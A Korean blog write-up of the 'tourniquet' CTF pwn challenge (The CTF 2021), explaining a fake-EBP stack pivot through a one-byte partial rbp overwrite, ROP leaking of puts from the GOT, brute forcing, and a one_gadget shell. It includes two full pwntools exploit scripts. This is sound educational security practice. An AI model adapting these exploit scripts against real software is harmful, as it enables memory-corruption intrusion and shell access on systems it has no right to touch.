[SF 심화반][The CTF 2021] week3_tourniquet 풀이
3주차에 배운 개념은 Fake EBP.
기초에서 배웠던 stack pivot의 다른 이름이었으나, 스택에서 가장 어렵고 헷갈렸던 개념이었기에 다시 풀어보는 것도 좋은 것 같습니다.
바이너리 출처는 The CTF 2021
분석
checksec을 하면 stack pivot으로는 처음 풀어보는? 64bit 문제입니다.
NX 걸려있고 나머지는 없습니다.
실행하면 건방진 소리를 해댑니다.
IDA로 보면
main 말고도 main_function이라는 함수가 있고 어..
stdin, stdout 버퍼 날리는게 있는건줄 알았는데.. _bss_start라는걸..? setvbuf를 사용하네요. (서버에서 그럼 stdin, stdout 버퍼때문에 안 되는게 아니었나)
그리고 이상한 부분은
cdecl main으로 되어있는데 cdecl은 32bit 함수 호출 규약인줄만 알고 있는데 바이너리가 64bit파일이라는거.
음... 64bit에서도 cdecl을 사용할 수 있나봅..니다.?
근데 실제로 gdb로 보면 cdecl 호출규약을 사용하지 않는 것 같습니다. 그리고 _bss_start라고 봤던 부분이 그냥 stdout인가..?
main function 내부에서는 64byte 배열에 72byte만 overflow가 가능하도록 되어있고,
활용할 함수로는 puts, fgets가 주어집니다.
fgets는 개행 혹은 n-1까지 입력받으므로 7byte를 overflow가 가능합니다.
익스할 방법을 생각해보고 있는데,
rbp를 덮어봤자 rbp를 원하는 곳으로 이동시키고 난 뒤에 무슨 일이 일어나느냐,
leave; ret;에서 leave는 mov rsp, rbp; pop rbp;라서
스택프레임을 정리하고 rbp를 원하는 곳, 에를들어 0x1234로 옮기면
main_function이 끝나고 main에서 다시 leave; ret;를 할텐데
그러면 rsp가 0x1234로 이동하고 rbp는 0x1234에 적혀있는 값을 받아서 이동, rsp는 0x1234+8이 되고 그 값으로 ret 할 것 같습니다.
예상대로 되는지 함 보면
rsp가 0x1234+8처럼 0x40060b를 넣었는데 +8인 0x400613이 된 모습.
근데 ret를 rsp 주소가 아니라 rsp에 있는 값으로 이동을 하니..
만약에 rbp로 puts_got-0x8 주소를 넣어주면 결과적으로 rsp가 puts_got를 가리키며 ret로 puts_libc를 실행시킬 것입니다.
-> 실행되긴 하는데 왠지 모를 에러가 있음.
결론적으로 main에서는 main_function에서 overflow 했던 주소 + 0x8에 있는 값을 실행시키는데
그러면 무엇을 실행시켜야 할까.. search 를 해봐도 볼 게 없는데.
fgets를 사용한 이유를 생각해보면 뒤에 null이 붙는거 때문이지 않을까 싶기도 한데.
일반적인 상태에서 AAAA\n을 입력하면 rbp에 들어있는 값은 stack 주소이다. 아래에 깔려있는 stack frame의 주소..
그러면 하위 1byte만 덮어서 partial overwrite? 하면
결론적으로 rbp에 들어있는 주소의 값을 실행시키는 거니까 rop가 가능할 것이다.
ASLR은 페이지 단위로 움직여서 스택도 그대로일까 싶었는데 역시
하위 3byte도 바뀐다. 그러면 브루트포싱.. 그냥 0x0을 넣어두고 브루트포싱을 해야할 것이다.
그래도 혹시 되는지 봐야하니까 set을 사용해서 스택 주소로 돌리면
앗 맞다 -8해서 넣어줘야하는데.. 암튼 실행되는걸 확인했다.
풀이
그러면 일단 rbp의 하위 1byte를 덮는 방식으로 s 배열(스택)으로 돌릴건데
스택의 주소가 0으로 떨어지니까. 원하는 주소부터 활용하려면 8로 떨어져 있어야 합니다.
브루트포싱은 MasterCanary 풀이에서 했던 것처럼 id 명령어를 보내고 p.can_recv를 사용
-> 생각해보니 leak을 못하면 에러가 발생해서 try except 구문을 사용했습니다. 브루트포싱 방법을 찾아보니 p.recv내에 timeout을 설정 가능
그리고..
우리가 넣었던 payload의 중간을 참조할 수도 있는걸 유념하고
일단 leak을 위해서
got를 릭하는 방식으로
계에에에에ㅔ속 기다려도 안 되길래 수동으로 rop를 진행해봤습니다.
rbp에 스택주소 -8을 넣어두고
첫번째부터 pop rdi, ret
puts_got
puts_plt를 넣어둔 상황
생각한 대로 실행되고
puts 실행 전 rdi 에 got가 들어감
아니 이렇게까지 해줬으면 돼야지..
왜...
혹시 sendline이 아니라 send로 해서 그런건가.
그러면 \n과 null이 추가로 들어갑니다..
https://thfist-1071.tistory.com/entry/Baekjoon-1152-%EB%8B%A8%EC%96%B4%EC%9D%98-%EA%B0%9C%EC%88%98
[Baekjoon] [1152 : 단어의 개수] 버퍼와 scanf, gets, fgets
아무래도 배우는게 있으면 그때 그때 글을 써야할 거 같습니다. 좀 있다가 쓰려니까 글 쓰기가 어렵네요. https://www.acmicpc.net/problem/1152 1152번: 단어의 개수 첫 줄에 영어 대소문자와 공백으로 이루
thfist-1071.tistory.com
과거 백준 풀 때 정리해둔 글
그래서 A를 마지막에 \n 들어갈 공간을 남기고 \x00이 들어가도록 하면 실행되는 부분은 0x8부터 시작이므로 앞에 8byte dummy를 줍니다.
그리고 중간을 참조할 수 있으니 ret를 넣어서 확률을 높힙니다.
오?
from pwn import *
puts_got = 0x601018
fgets_got = 0x601020
puts_plt = 0x4004e0
fgets_plt = 0x4004f0
main_fgets = 0x40060b
pop_rdi = 0x000000004006d3 #pop rdi; ret;
ret = 0x0000000004004c6 #ret;
while True :
p = process('./tourniquet')
# libc = e.libc
p.recvuntil('?\n')
payload = ''
payload += p64(ret)*0x4
payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload += 'A'*0x7
#+'A'*0x38 + '\x08'
p.sendline(payload)
try:
puts_libc = u64(p.recvn(6, timeout=1)+'\x00\x00')
print(hex(puts_libc))
break;
#puts_libc = u64(p.recvn(6, timeout=1)+'\x00\x00')
#print(hex(puts_libc))
#break
# p.sendline('id')
# check = p.can_recv(timeout=1)
# if(check == True) :
# p.interactive()
# break;
#
except:
p.close()
릭까지의 코드
puts_got 를 출력하도록 rop하였고 아마
recvn으로 1초 내에 6byte를 받지 못하면 error가 발생하는 듯.
그러면 이렇게 릭이 가능한 것 까지 봤습니다.
물론..? 이렇게 릭해서 libc를 알아내고 system을 실행할 수도 있겠지만
일단 서버에 보내서 서버 libc 버전을 확인하고 one_gadget으로 풀어보겠습니다.
와 운좋게 바로 성공
다른 것들도 해서 나온 결과
두 개가 나왔는데 버전 높은 걸로 11.3으로 해봅시다.
아니면 다른 걸로 해보고..
아. 쉘을 따려면 이제 다시 입력이 있도록 해야하는데..
rdx 가젯이 없군요.
main_fgets라고 표시해둔 주소는 rbp-0x40에서부터 0x48만큼을 stdin으로 입력받는 역할을 하고
그러면
bss 등으로 rbp를 돌림
main_fgets를 실행
bss로 다시 돌림 ...
이러면 주어진 영역보다 더 많은 공간이 필요합니다.
그럼 만약에 main을 다시 실행시키면?
leave ret가 2번 들어있으니 다시 공격이 가능할 것 같습니다.
아니
main으로 바꿨는데 안되길래
start로 해서 다시 febp 했는데 이건 되네요.
from pwn import *
puts_got = 0x601018
fgets_got = 0x601020
setvbuf_got = 0x601028
puts_plt = 0x4004e0
fgets_plt = 0x4004f0
main = 0x400626
start = 0x400510
pop_rdi = 0x000000004006d3 #pop rdi; ret;
ret = 0x0000000004004c6 #ret;
leave_ret =0x000000000400624 #leave;ret;
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
while True :
#p = process('./tourniquet')
p = remote('server', port)
p.recvuntil('?\n')
payload = ''
payload += p64(ret)*0x3
payload += p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
payload += p64(start)
payload += 'A'*0x7
p.sendline(payload)
try:
puts_libc = u64(p.recvn(6, timeout=1)+'\x00\x00')
print('puts_libc:',hex(puts_libc))
libc_base = puts_libc - 0x6f6a0
print('libc_base:',hex(libc_base))
pause()
p.recvuntil('?\n')
one_shot = libc_base+one_gadget[0]
payload = p64(ret)*0x6+p64(one_shot)
payload += 'B'*0x7
p.sendline(payload)
p.interactive()
break;
except:
p.close()
payload에 다음 주소가 main으로 지정해서 다시 입력받는 건 이상하게 꼬여버려서 불가능한데
start로 바꾸면 가능합니다. start가 다 초기화하고 처음부터 지정해서 그런건지..
다시 febp를 할 수 있는 이유는 이미 rbp 끝자리를 00으로 해서 stack으로 돌릴 수 있던건데, start를 하면 다시 같은 자리로.. 처음부터 시작하는 느낌..? 인 것 같습니다....ㅠ
다른 분 블로그에서도 start로 하면 제약사항이 줄어든다고 하시네요.
ㅎ ㅏ...